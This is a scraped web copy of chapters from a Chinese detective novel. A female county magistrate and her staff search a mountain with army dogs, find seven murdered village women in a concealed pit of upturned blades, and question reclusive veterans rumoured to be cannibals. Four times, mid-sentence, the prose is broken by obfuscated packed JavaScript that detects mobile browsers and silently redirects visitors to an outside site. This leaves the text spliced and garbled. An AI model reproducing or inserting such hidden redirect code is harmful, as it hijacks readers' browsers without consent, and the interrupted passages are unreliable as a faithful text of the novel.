云水谣接过牛肉,道:“多谢您了,回去上覆杜将军,就说我用完了会马上把军犬送回,多谢杜将军帮忙。” “云大人无需客气,小人先走了。” 云水谣命人牵着三条军犬,跟县丞林复、柳依依、一干衙役一起往出事的村子里赶。 她下意识地叫景佑,身边的下属提醒:“大人,元护卫已经回京探亲了。” “哦,瞧我这记性。” 云水谣突然有些难过,但很快收拾好心情。 在路上,她向林复询问案件情况。 林复道:“失踪的七名妇女是藕塘村人氏,年龄都在二十到三十之间。她们在昨日的卯时二刻约着去山上挖冬笋,带上了篮子、镰刀和一些干粮,说是少则一个时辰,多则半日,便会回来。谁知直到天黑,她们也没回来。 “她们的家人进山寻找,也没找着,甚至连她们所带的镰刀、篮子等物都没找见。因此,村里人便到县衙报官,我当即就派人帮着寻找。足足找了一夜,直到今日也找不着,因此我便来找大人了。” 云水谣问道:“山上可有她们的脚印?” “那座山上有许多落叶,踩在落叶上看不出脚印,风一吹,叶子乱飞,把这些痕迹都掩盖了。” 云水谣又问:“那怎么会连一点物品都找不着呢?” “正是如此,十分奇怪,下官也不明白究竟发生了什么。” “有没有在山上发现衣物碎片?” “也没有。” 云水谣猜测道:“莫非是这七名妇女因生活不如意,假装去挖笋,实则相约逃走了不成?以前我经常听说有些妇女因丈夫家.暴、婆家苛待、家里太穷等原因,偷偷逃走。” 林复道:“这倒来不及细问,从昨晚到现在,我们都把精神集中在找人上。” “无妨,一会到了,我问问村里的知情人士。” 她们大约赶路一个多时辰,越走越荒凉,人烟也越来越少,可还是没到藕塘村。 云水谣问道:“林公,这条路没错吗?” “没错,藕塘村在洛县最西边,那里挺荒凉的,人口也只有三十多户。估计还要再过一个时辰才到呢。” 云水谣点了点头,耐下性子,跟着林复前行。 过了许久,终于到了藕塘村。 一眼望过去,只有几个孩子在跑来跑去,还有一些上了年纪的老人坐在门口晒太阳,年轻人却都不见踪影。 云水谣等人下了马,一个中年妇女迎了上来,道:“这位便是县令大人吗?民妇是村长之妻,廖氏。因昨日本村有七名妇女失踪,村长带着青壮年们并几个衙役一起去山上找人了,留下民妇在此,说是官府来人时可以接待。云大人要不要先去寒舍喝杯热茶?” 云水谣对廖氏道:“有劳了。本官今日带了军犬,也许能尽快找到人。喝茶就不必了,你先把那七名失踪妇女的大致情况跟本官说说,本官也好判断她们是真的失踪还是出逃了。” 如果她们已经逃走了,那么在附近再怎么找也是没用的,她们也许从什么隐蔽的路走了。 所以,搞清楚她们的情况,看看她们是否有逃走的动机,十分重要。 廖氏道:“是。这七名失踪的妇女,其姓名、年龄、家庭状况等,村长都已经写在纸上,请大人到我家去看。” 于是,云水谣便跟着廖氏回了她家。村长家倒还宽敞,桌椅也多,云水谣等人都有座位。云水谣也让下属们一一坐下,不必拘礼。 廖氏从书桌上拿来一张纸,递给云水谣。柳依依和县丞林复坐在她附近,她便让二人一同看看。 这上面写得比较简略,只写了七名妇女的姓名、年龄、婚育状况等。 云水谣还待再问,柳依依看了这张纸,却有所发现,道:“这七名妇女的名字,我像是在哪见过一般,但又想不起来了。” 云水谣问道:“莫非是你以前来过这个村子?” “没有……哦,我想起来了。” 柳依依询问廖氏:“这七名妇女,是不是曾在官府开设的女子技能学校学习,并受官府扶持,开了小店?” 廖氏道:“正是。官府出了扶持女子工作的政策后,这七名妇女便跃跃欲试,去了女子技能学校学习,后来也领取了官府的补贴,开了两间卖手工艺品的小店。其中四个人运营一间,另外三人运营另一间。只是,她们总说太辛苦,不想干了,因此前两天便向官府注销了店铺,又回到了村里。” 柳依依有些惊讶:“什么?她们为何这么做?是因为挣不到钱吗?” “好像能挣到一些钱吧,但不是很多,这店没开多久她们就说不想干了,后来果然关店回来了,说还是在村里轻松些。没想到,才回来一两天,便失踪了。” 扶持女子工作的资金是柳依依出的,所以她也特别关注这方面,会经常去女子技能学校转转,也会去那些女子所经营的店铺、小摊看看,若有遇到困难的,柳依依也会给予帮助。 所以,这个村子的几名妇女,虽然平平无奇,但柳依依对她们还是有印象的。 如今听说她们无故关店回村,人又失踪了,柳依依自然感到心急、关切。 她问廖氏:“是不是那些妇女在外开店时得罪了什么人,所以才被迫关店回来。也许她们的失踪,便是外面的仇家做的。” 廖氏道:“她们只是开几个小店,能得罪什么人呢。之前没听她们说起过得罪人了,只是抱怨开店辛苦而已。前天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14050198|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她们终于在官府注销了店铺,回到村里来,一个个都挺开心的,不像是在外面惹了事的样子。” 云水谣问道:“她们的家人对她们好吗?是否存在家暴等情况?” “那倒没有,她们的生活虽然说不上十分如意,但总体来说还过得去。她们的丈夫也不会动手打人。家人之间闹矛盾倒是有的,但吵两句也就过去了。” “所以,她们不会因为日子过不下去而逃跑?” “大人,这就太夸张了,这是不可能的。这几个妇女,跟自己的丈夫感情都还不错,家里条件也都可以,而且都有孩子,不可能随随便便抛家弃子离开的。而且是七个人一起走,概率太小了。” 云水谣觉得廖氏言之有理,如果是七个妇女相约出逃,那她们七人必须都过得很惨才行,而且还要同时有出逃的决心。但是要约七个人一起逃跑是很不容易的,总有一些懦弱的女人,即便过得很不好,也没想过逃离。 既然这七个妇女过得还不错,那就更没有逃走的理由了,应该就是单纯的失踪。 这时,却见几个中年汉子背着几个年轻人回来了。为首的中年汉子对廖氏道:“快在地上铺上席子和被褥,我们好把这几个年轻人放下来。他们找人找得太久,累晕过去了。” 廖氏赶紧去寻找席子和被褥,一面找,一面对那中年汉子道:“夫君,这些人便是县令大人及县里的僚属,你先招呼一下。” 中年汉子道:“好。” 这中年汉子便是藕塘村的村长,他很快地向云水谣等人行了礼,便专心照看那几个晕过去的年轻人。 云水谣问道:“村长,你们找得怎么样了?” 村长道:“别提了,我们把腿都快走断了,根本找不到人。这几个年轻人身体弱,晕了过去,所以我和几个村民先将他们背回来。我们也要在此歇歇,实在是走不动了。” 说着,村长和其他几个村民都席地而坐,随便抓了点桌上的瓜果吃。 过了一会,村长之妻廖氏把席子和被褥铺好,众人又合力将那几个年轻人搬到被褥上躺好。 这几个年轻人倒无大碍,睡一觉就好了。 云水谣问道:“那几个妇女去的那座山很大吗?” 村长道:“那座山名叫鸡鸣山,方圆二十里左右,地形陡峭,杂木横生,平时很少有人上去。只有在冬季时,因那座山的冬笋生得好,本村妇女偶尔会去挖,但也不常去。昨日她们七个要去挖笋,我还让她们别去,笋挖不挖得到倒在其次,就怕……” 云水谣问道:“就怕什么?” “哦,没什么。总之,我们村里的青壮年集体出发,跟县衙里派来的衙役找了一整夜,什么也没找着。那几位差爷也累得在山脚歇息呢,我说让他们来村里坐坐,吃点东西,他们说走不动了,宁可躺在荒野。” 云水谣道:“我们也正要进山寻找,若看见那些差役,正好给他们一些补给。” 这时,却见村长神情犹豫,似乎有话要说。 53.深山寻人风尘仆仆 大坑埋尸白骨森森 只听村长道:“大人,这鸡鸣山很少有人走,所以也没有什么路径,搜寻起来很辛苦。我看,您和这位绿衣服的姑娘便留在我家,让我浑家招待你们,让其他人上去寻找吧。” 村长说的绿衣姑娘,便是柳依依。看来,村长是怕云水谣和柳依依两个姑娘亲自进山寻人太过辛苦,才叫她们两人留下。 云水谣笑道:“村长不必担心,我既能外出为官,跟男人也没什么差别。这位绿衣姑娘柳依依,是我的小吏,也是要跟我做事的,我们可以一起进山。” 听闻此言,村长露出了钦佩的神情。 事不宜迟,云水谣准备带着下属和军犬一起进山寻人了。 刚才她之所以在这里耽搁,是为了问清楚情况,确定几个妇女真的是在鸡鸣山里失踪的,而非偷偷跑到了别处。 村长和几个村民他们本想带路,但云水谣见他们太过疲惫,便拒绝了,只让他们指出路径,便自己找过去。 走了一阵,终于到了鸡鸣山脚下。果然有几个衙役躺倒在地休息,他们都是昨天晚上被派去寻人的,一直找到今天,体力早已透支。 他们见到云水谣,都挣扎着想起来行礼,云水谣赶紧说道:“你们躺着吧,我知道你们很累了,接下来就由本官和其他衙役一起搜寻。这里有一些干粮和水,你们拿去吃了吧。” 云水谣留下了一部分干粮和水,然后带着下属们进山了。 云水谣道:“我们一行人总共二十四人,分为三组,每八人一组。每个小组带一条军犬,从不同方向进山搜寻。如果某个小组有所发现,便让军犬吼叫几声,其他人便能听见了。” 这几条军犬训练有素,能听懂一些指令,比如直立、握手、大声叫等等。 众人觉得云水谣这样的安排很妥当,便随即分成了三组。第一组由云水谣带队,第二组由县丞林复带队,第三组由柳依依带队,分别从左、中、右三个方向上山。 云水谣带着七个衙役和一条军犬,艰难地往左边直行。这里没有什么明显的道路,她们一会踩在树枝上,一会踩在荆棘上,一会还要伸手折断挡脸的树枝,走得十分艰难。 倒是军犬走得更顺畅些,很快就走到云水谣的前面去了。军犬们本就经常在野外训练,像这种山,它们是从小爬的,根本不在话下。 那只军犬走几步,还回头看看云水谣她们,免得分离太远,互相失散,倒是挺聪明的。 约莫走了一个时辰左右,她们还是没发现什么异常,另外两队也没有消息传来。 云水谣道:“真是怪了,就算那些妇女被猛兽袭击,总不会一点痕迹都没有。她们携带了篮子、镰刀等物,也总该看得见呀。” 有个衙役道:“也许不是被袭击了,而是她们在大山深处挖笋,所处位置太偏,没被人发现。” “就算真的在挖笋,这么长时间了也该返回。” “也许是她们想返回时,迷路了。方才村长不是说,这座山很少有人进来,所以没有山路。这里又有这么多植物,遮住了来时的路径也有可能吧。” “可是,昨晚这么多人进山寻找,肯定也呼喊她们了。她们就算迷路,应该也能听见呼叫声,给予回应才是。” “这就不知道了,总不能是被山中的精怪给捉了去吧。” “别胡说,亏你还是公门中人。” “是,小人知错了。” 又走了一会,那只军犬忽然对着一处草丛嗅来嗅去,还用前爪刨地。 云水谣走过去问:“暴风,你是不是发现了什么?” 这只军犬的名字叫暴风,只见它看着云水谣,“呜呜”地叫了两声,又继续用前爪刨地。 别人只能听见“呜呜”声,但云水谣却听清了暴风的话:“这底下有很重的血腥味。” 云水谣大惊,赶紧叫衙役们挖这片草丛。 众人都携带了挖土工具,闻言便纷纷挖了起来。 过了一会,衙役道:“大人,有情况。” 只见这块地方的草皮被掀开,底下似乎有个大口袋,袋口用粗麻绳扎紧。 一股很重的血腥味和臭味传出来,云水谣有了一种不祥的预感。她让人把麻绳解开,露出的景象令人作呕。 只见底下是一个五六尺深的坑,坑的四周都用油毡布围着,跟周围的泥土隔绝开来。 坑的底部插着六柄陌刀,刀尖朝上,刀上已尽是鲜血。因为这些刀上,串着七个女人。 七个早已死去的女人。 这六柄陌刀被固定得很紧,也挨得很近。这七个女人是被人横着丢进去的,所以每个女人都至少被三柄刀贯穿,互相叠加,看起来像是一串巨大的烤串。 云水谣中午刚吃的烤串,她实在忍不住,把午饭全吐了出来。 衙役们也在吐,只有两个没怎么吃饭的衙役忍住了,但也面色惨白。 在深坑的底部,有一些篮子、镰刀、手帕等物,应该是这些女人携带的,也一并被凶手丢了进去,难怪这一路上没发现这些女人的遗物。 有个衙役道:“大人,这七个女人,是不是藕塘村失踪的那几个?” 云水谣喝了几口水,压下心中的恶心,道:“我想应该是的,先把其他人叫过来。” 云水谣对军犬暴风说道:“大声叫。” 暴风便大叫了起来,声音非常有穿透力。这样,另外两队人马应该就能听见,并赶过来了。 不过,他们在较远的地方,赶来应该需要一些时间。 云水谣对其中两个衙役道:“你们俩先下山,让藕塘村的村民们来辨认尸体。” “是。” 云水谣趁着这段时间,仔细看了看案发现场。 刚才她以为草丛底下是一个大口袋,其实不是。整个深坑被十来块油毡布裹得严严实实,在顶部用粗麻绳扎紧,看起来像是大口袋,其实解开麻绳,十来块油毡布边散开了。 看来,凶手是先挖了这个深坑,然后把坑的底部和四周都用油毡布铺好,再把六柄陌刀固定在底部,刀尖朝上。 他用一些方法把七名妇女骗来此处后,将她们一个一个扔下去,造成七人死亡。 做完这一切后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14061615|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他便把这几块油毡布的顶部聚拢,用麻绳扎紧,然后在最顶部填上土,又从别处挖了一块草皮盖在上面,把这里掩盖得跟其他地方没有差别。 若不是军犬的嗅觉特别灵敏,只怕也发现不了这里的伪装。 只是,有一个疑点:这个凶手为何要把这个坑用油毡布包住?油毡布防水防潮,常用于盖房子。 既然凶手的目的是让这七个妇女死,那直接杀了她们便是,为何要用油毡布包裹住她们的尸身?难道还怕她们的尸体被泥土腐蚀了不成?腐蚀了不是正好毁尸灭迹? 现在这个深坑被包成这样,导致这七个死者的血和碎肉全都集中在坑底,散发出难闻的臭味,直冲人的天灵盖。 这样做到底有什么意义?除了能把死者的尸体保存更久之外,似乎没有别的作用。 衙役们问道:“大人,是否要将这几具尸体抬出来?” 云水谣点头:“先在旁边铺块布,然后抬出尸体放上去吧。” 衙役们便动手抬尸体。 第一具尸体在最上面,离地面不远,只需弯腰便能抬起。 几名衙役小心翼翼地把尸体拉出来,不敢使太大的劲,以免尸体四分五裂。 这时,其中一名衙役却叫道:“不对啊!” 云水谣问道:“什么不对?” “大人,这死者的腿……” 云水谣走了过去。那名衙役所站之处是死者的右腿处,说道:“大人,她的腿好像特别细似的,我都摸到骨头了……” 云水谣掀开死者的裙子,发现死者右腿上的肉竟被全部割去,露出了森森白骨。那名衙役觉得触感不对,大腿不应该这么细,所以刚才才说不对。 云水谣吓了一跳,让衙役们赶紧将这具女尸抬出来,放在地上。 她仔细检查了女尸的身体,发现尸体其他部位都是完好的,只有整条右腿的肉都没有了。看这痕迹,像是被人用刀割去的,而非是野兽啃咬。 云水谣忍着恶心,放下死者的裙子,遮住其右腿。这时,她又发现死者的裙子缺了一大块,像是被人撕了。 由于女人所穿的裙子分为外裙和内衬裙两条,如果把内衬裙撕去一块,从外面看是看不出来的。 结合这两点,云水谣判断,应该是有人割去了死者腿上的肉,并就地取材,撕了死者的内衬裙用于包裹这些肉,然后带离了现场。 那么,又产生了一个问题,就是对方为何要把死者身上的肉割走?他总不会吃人肉吧? 就算有吃人肉的癖好,却为何不把所有的肉都割走,而是只割了一条大腿的肉? 云水谣思索着,但没有答案。 在她思索的时间里,几名衙役已经把七名死者全都抬了上来,放置成一排。 这些死者身上虽被戳了好几个窟窿,但头部并未受伤,可以看清她们都是年轻女子,皮肤有些粗糙,很符合农妇的特征。 云水谣又仔细检查了这些死者,发现其他死者的肉都没被割去,只有刚才第一具尸体腿上少了肉。 她记下了这些疑点。 54.天人永隔怀亲属 弹尽粮绝哀同袍 那个深坑现在只剩下六柄竖着的陌刀,云水谣让衙役们在深坑周围插-满树枝,围成一圈以作警示,免得其他人掉下去。 忙完这些后,云水谣靠在树干上休息。刚才的凶案现场场面太惨烈了,她直到现在都没缓过来。 衙役们拿来一些干粮给她吃,她看见干粮里面有肉干,又开始吐了,让衙役们拿开。 衙役们不敢再拿食物给她,只递给云水谣一壶水。 清水倒勉强能喝下,云水谣喝了好多,感觉清醒了一些。 又等了一会,藕塘村的村民来了。 云水谣让他们辨认尸体,他们看了一眼,就十分悲伤,道:“大人,这些妇女确实是我们村失踪的人口。” 村民当中有死者的亲属,小声哭着,云水谣内心也添了伤感。 有个村民问道:“大人,她们是怎么死的?” 云水谣指了指旁边的深坑,道:“她们是被人横着扔进去的。你们要小心,别掉下去了。” 村民们看了那个深坑,又是害怕,又是气愤,道:“实在太过分了!这些妇女跟凶手有何仇怨,他要用如此残忍的方式杀人?” 云水谣摇头:“目前还不知道凶手的情况。这七名妇女真的没有仇家吗?” “大人,她们都是普通人,不可能有仇家啊。莫非是有人谋财害命?” 说着,那几个村民给死者搜了身,道:“大人,果真是谋财害命!这几名妇女身上的钱袋、首饰都不见了!” 云水谣问道:“她们有多少钱?身上的首饰值多少钱?” 村民们答道:“我们不太清楚,不过她们日常携带的钱,应该只有几文到几十文,不会带太多钱的。身上的首饰也都是便宜的地摊货,值不了多少……” “既然这样,怎么会有人为了得到这么一点点钱,就害死她们呢?更何况,凶手为何不直接用刀剑杀死她们,而是要挖这么大一个坑,设计这么复杂的陷阱,把她们都扔进去,最后再用油毡布把她们的尸体保存起来?所以,依本官看,谋财害命的可能性不大。” 村民们也觉得云水谣说的有理,可还是有些困惑:“既然不是谋财害命,那为什么又要将她们身上的钱和首饰拿走呢?” 云水谣道:“我想,凶手的心理是,既然人都杀了,钱不拿白不拿,就算少了点,也是白捡的,他自然也要。” 听起来,这个解释较为合理。 这时,有个村民叫道:“大人,我浑家春花的腿上怎么少了这么多肉?” 春花便是刚才的第一具尸体,也是这个村民的妻子。 云水谣道:“本官也不知道。她右腿上的肉,像是被人拿刀子割走的。对方还撕下了她的衬裙,用来包肉。但是其他死者的肉并未被割下,不知怎么回事。” 这个村民目眦欲裂:“我知道了,一定是山中的那些军户……他们吃人!这些妇女就是他们杀的!” 云水谣有些吃惊,问道:“怎么回事?” 村民们便讲起了一个传闻。 据说,在鸡鸣山深处,住着二十余名军户,他们都是从战场归来的士兵。 十年前,他们随主将驻守荣城,被敌军围困一年多,弹尽粮绝。一开始,城中百姓自发将家中余粮给士兵们吃,后来连余粮也没了。 无奈之下,士兵们开始吃死尸。 后来,据说是天气炎热,死尸保存不久就会变质,吃了会得病甚至死亡,因此幸存的士兵就不再吃死尸,而是随机选取活人,现杀现吃,如杀猪宰羊一般。 又过了几个月,荣城之围终于被解,但城中的士兵所剩无几,还有许多疯了,主将也早已战死。神智还算正常的士兵只剩下二十余人,朝廷本想计算他们的军功,给予表彰,但这二十余名士兵拒绝了。 他们自称守城之时经历的事太过惨烈,余生都不想再上战场,也不想再见人,请求隐居。 因此,他们便结伴来到了鸡鸣山深处,就此住下,不跟外人来往。 鸡鸣山位于洛县边缘,少有人来,附近的住户也不多。 早些年,有人进山打猎,见过他们。 后来,有些人在鸡鸣山失踪,百姓们都传言是被隐居山中的军户们吃了,因为他们在被困荣城时就养成了吃人的习惯,一直延续下来。 这些传闻有鼻子有眼的,渐渐的就没什么人去鸡鸣山了,鸡鸣山更加荒芜。 如今,有七名妇女死在深山中,且有人的腿上之肉被割去,很像是那些军户所为。 村民愤愤道:“大人,一定是那些军户!试想,若是凶手只想要这七名妇女的命,只需杀了她们便可,为何要用油毡布把这个深坑遮挡起来?这是为了防水防潮,也防止土里的动物将尸体腐蚀,方便那些军户留着尸体慢慢吃。他们只割走了春花右腿上的肉,是因为他们暂时只能吃这些。我们要是再不发现尸体,他们会慢慢把这些尸体吃光的!” 村民所言,似有道理。这也能解释油毡布的问题。 而且,深坑里的陌刀,并非是常见的兵器,一般多为军中所用。军户手里有陌刀,并将之用于布置陷阱,也挺正常的。 现在的问题是,是否真的存在这些军户,他们又是否真的吃人?且他们就算吃人,这几名妇女也未必是他们所杀。 于是,云水谣问村民:“你们确定山中真的住着吃人的军户?你们亲眼见过吗?” 村民们纷纷说道: “大人,我虽未亲眼见过,但是我爹见过。” “我爷爷也见过。” “我倒是亲眼见过一次,我小时候偷偷跑进鸡鸣山中,见到山里有人在砍柴,我想就是那些军户吧。” 云水谣又问:“那你们或是你们的家人亲眼见过他们杀人或是吃人吗?” “这倒没有……但他们会吃人,这是肯定的!” “是啊大人,一定要抓住他们,让他们为这些妇女偿命!” 云水谣先安抚这些情绪激动的村民:“各位乡亲,你们先别激动。俗话说捉贼拿赃,我们得先找到这山中的军户,找到之后,有确切证据证明这些妇女是他们所杀,那才能将他们治罪。你们说是不是这个理?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14074624|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >村民们对长官还是比较敬畏的,听云水谣这样说,也就不再闹腾了,都说云水谣说得有理。 云水谣问:“你们可知隐居山中的军户住在哪里?” “大人,这我们不清楚。” 这时,柳依依、县丞林复也带着其他衙役过来了。他们听见了军犬的叫声,便知道云水谣这边有所发现,便沿着军犬的声音找了过来。 见到满地的尸体,其他人也十分惊骇,柳依依更是吓得昏了过去。 柳依依从来没见过这种场面,也难怪。云水谣掐了掐柳依依的人中,她便醒来了,有些颤抖地问:“大人,莫非这些尸体就是那些失踪的农妇?她们怎么会死得这么惨?” 云水谣便把自己刚才的发现跟众人讲了一遍。 县丞林复道:“大人,既然这鸡鸣山少有人行,那居住在山中的军户是最可疑的。我先带一队衙役去寻找军户,如果找到了,便让军犬大叫,你们便可过来。” “嗯。” 林复带着一队衙役走了。 柳依依那队里有个仵作,云水谣便让仵作来验尸。 仵作验尸之后,回禀道:“大人,这几名死者的死亡时间都在昨日的辰时三刻到辰时四刻之间,死亡时间已超过一天。她们的死因都是被利器贯穿脏腑而亡,应该是被人扔进深坑,被坑里的陌刀刺死的。” 云水谣道:“这几名妇女在昨日的卯时二刻左右出发去挖笋,也就是说,她们离开家一个多时辰后就被害了?” “应该是如此。” “来人,去那个深坑里找找有没有竹笋、野菜之类的。” 几个衙役领命跳了下去,一寸寸寻找。 过了一会,他们爬了上来,回禀道:“大人,深坑里并无竹笋、野菜之类的食物。” 云水谣点头:“也就是说,她们还没开始挖笋,就遇害了。这一个时辰里,她们除了走路,没做别的。只是,还有一个疑点,她们若是被扔进深坑,临死前应该会发出呼叫,难道没人听见呼叫声吗?” 村民道:“大人,如果当时没有其他人在山上,即便死者临死前呼叫,山下的百姓也是听不见的,隔得太远了。” 云水谣道:“确实如此,不过凶手在行凶的时候很难确定周围有没有其他人,所以他一定有让这些妇女闭嘴的办法。” 仵作道:“大人,也许这些妇女临死前吃了带有迷药的食物,导致晕厥,在昏迷状态下被扔下深坑,还没反应过来就死了,便不会呼叫。只是野外条件简陋,小人的工具也没带全,没法给她们验食物。是否先将这些尸体搬回县衙,让小人继续检验?” 云水谣本想弄几辆推车上来运尸体,但这座山没有山路,到处都是横生的树木和荆棘,推车只怕上不来。 云水谣对衙役和村民们说道:“你们先合力将这七具尸体抬下山去,然后找辆马车来,将尸体运到县衙,由仵作接着验尸。小心点抬,别破坏尸体。” “是。” 众人准备抬尸体,这时,却发现一个村民跌坐在地,不停地哭喊着:“不要……不要……” 55.凶器 云水谣问道:“怎么了?” 那村民哭道:“我不要抬我姐姐的尸体……我不相信她死了……” 云水谣也有些伤感,劝慰道:“凶案已经发生,你不接受也得接受。现在最重要的是找到杀害她们的真凶,这才是死者想要的结果。你们都不要抬自己亲属的尸体,交换着抬。” 于是,村民们避开自己的亲属,各自抬别人的亲属。又有几个衙役上前帮忙,众人便合力将尸体往山下抬。 这时,云水谣身边只剩下柳依依、两名衙役和两条军犬了。 柳依依面色仍有些白,云水谣问道:“依依,你还撑得住吗?如果受不了了,就跟这些村民一起下山吧。” 柳依依道:“没事,大人,我在这儿陪着你吧。我只是觉得,凶手太残忍了,为何要残杀这么多农妇呢?而且,竟然……竟然把死者的肉给割下吃了,简直令人发指。” “死者的肉确实被割下,但未必是用来吃。现在真相未明,也许有一些我们不知道的事情。” “嗯。” 她们原地休息,吃了点东西,等待着县丞林复那边的消息。 林复带人去寻找山中的军户了,如果有消息,会让军犬大叫来通知。 大约等了半个时辰,远处传来军犬的叫声。 云水谣道:“林复应该是找到那些隐居的军户了,我们循着声音找过去。” 远处的军犬每隔一段时间便会大叫数声,因此云水谣等人很轻松便找到了军犬所在的方向。 大约走了半个多时辰,她们终于见到了县丞林复和他所带领的几名衙役。 林复指着前面的一排茅草屋,道:“大人,我找到了,前面就是那些军户的住所。我已经跟他们说了凶案的事,他们都很惊慌,否认自己是凶手。现在他们都聚集在东边最大的茅草屋里,等着大人。” 云水谣点头:“好,我去见见他们。” 云水谣带着下属们来到东边的茅草屋,只见十几个中年汉子在屋中,或坐或站。屋中的凳子不多,只有三四个人能坐,其余人都站着。 见云水谣来了,坐着的人也都站了起来,把为数不多的凳子让给云水谣、柳依依等人。 这些军户看着大约三四十岁,脸色有些沧桑,眉头也紧皱着,看起来长期郁郁不乐。 他们是第一次见到女官,一时忘了行礼,县丞林复正要呵斥他们,云水谣道:“罢了,不必讲究这些虚礼。” 接着,她问那些中年人:“你们是隐居在此的士兵吗?” 一个络腮胡的汉子答道:“正是,我们从荣城退伍回来,便隐居在此,已经有十年了。起初我们有二十二人,这些年死了六个,只剩我们十六人了。” “我有一件事问你们,还请不要见怪。” “不敢,大人尽管问就是。” “有传言说你们在荣城时吃过人肉,不知可有其事?” 这些军户沉默着,一时没有说话。也许云水谣的话触及了他们心里的隐痛,他们不知道怎么说。 云水谣也不催,等着他们调整好心态。 接着,那络腮胡的大汉道:“大人,传言没错,我们在荣城当士兵时,确实吃过人肉。当时荣城被围困一年多,所有的粮食都吃光了,我们迫不得已开始吃死尸。后来天气炎热,死尸存放不住,全都腐烂了,所以我们……” 云水谣问道:“所以你们杀了人,直接吃?” 那络腮胡大汉没有回答,有个小个子士兵不忿道:“不是我们杀的,是那些百姓自愿自尽,把他们的肉给我们吃的……” 有个衙役道:“你胡说,这怎么可能?” 小个子士兵怒目圆睁,道:“你懂什么!你守过城吗?你可曾见过身边的同袍一个个死去,我们为了活命,却不得不吃掉他们的尸体?你可曾经历过全城的军民都没了食物,百姓们同仇敌忾,宁愿把自己的肉割给军士吃,也不愿城池失守?你是不是觉得我们天生爱吃人肉啊!你知不知道我们吃人肉时是什么心情!” 络腮胡大汉道:“老三,你这么激动干什么?吓坏人家了。” 这络腮胡大汉似乎是这群士兵的首领,因此那小个子士兵便不再说话。 络腮胡大汉解释道:“大人,刚才他说的没错,当年确实是城中百姓自愿将自己的肉给将士们吃……我们拒绝了,并将他们劝回去,谁知……谁知他们回去之后,有一部分人自尽了,剩下的百姓将尸体运来军中,逼迫我们吃……我们知道他们牺牲自己的原因,也知道如果我们不吃,他们就白死了,所以我们……就这样又撑过了一段时日。 “活着的百姓也住在军营附近,每隔几天,就会死几个人,我们想阻止他们这种轮番自尽的行为,可是每次他们都是等到我们饿得动不了了,才自尽的,就是怕我们会阻止……当时的场面,直到现在回想起来,还是十分壮烈悲伤……当时大伙都在崩溃的边缘了,但为了守城,还是强撑着。 “等到荣城之围被解,我们这群将士只剩下不到一百人了。得知敌人已经退去,有一部分压抑得太久的军士直接疯了,因为他们接受不了自己曾靠吃人肉为生,其中还有很多是无辜百姓之肉……只有我们二十余个心智较强的人,没有发疯,但也心灰意冷,不愿再与旁人接触。因为我们知道,愧疚之心会伴随我们一生,一旦我们见到其他百姓,就会回想起自己曾经吃过城中百姓的肉,那无异于是一场对心的凌迟……所以,我们决定找个没人的地方隐居,便选择了鸡鸣山。 “自从我们隐居以来,一直吃素,连动物的肉都不曾吃过,何况人肉。附近的百姓都传言我们会吃人,一旦附近有人失踪,便说是被我们吃了。我们也很无奈,也不愿去解释。可是今日,县丞大人找上门来,说怀疑我们跟一桩凶杀案有关,那是一定要解释清楚的。大人,此事与我们无关啊。” 听到他们所说的往事,云水谣心中也十分感慨。看这些军户神色真诚,不似作伪,云水谣心里也多信了他们两分。 只是,凡事得讲证据。 因此,云水谣问那络腮胡大汉:“不知您怎么称呼?” “我姓余,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14090867|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就叫我老余吧。” “老余,我要叫衙役们搜一下你们的屋子,可以吗?” “自然可以,清白之人不怕搜。” 有了老余点头,其他军户也没意见。 于是衙役们便仔细搜寻他们的屋子。这些屋子都比较简单,里面的陈设不多,搜起来也很方便。 过了一会,衙役们回禀:“大人,没发现其他异常之处,但是在一些房子里发现了陌刀。” 说着,衙役们便呈上几柄陌刀。这些刀都有些旧了,有的地方还生锈、豁口了。 县丞林复道:“大人,凶案现场的凶器,就是这种形制的陌刀啊……” 老余和其他军士都有些慌张,老余对云水谣说道:“大人,我们真不知道怎么回事……这几柄陌刀,是我们从战场上带回来的,一直放在身边,不曾用来行凶杀人啊……平时我们砍树或种庄稼时,倒是会用到。” 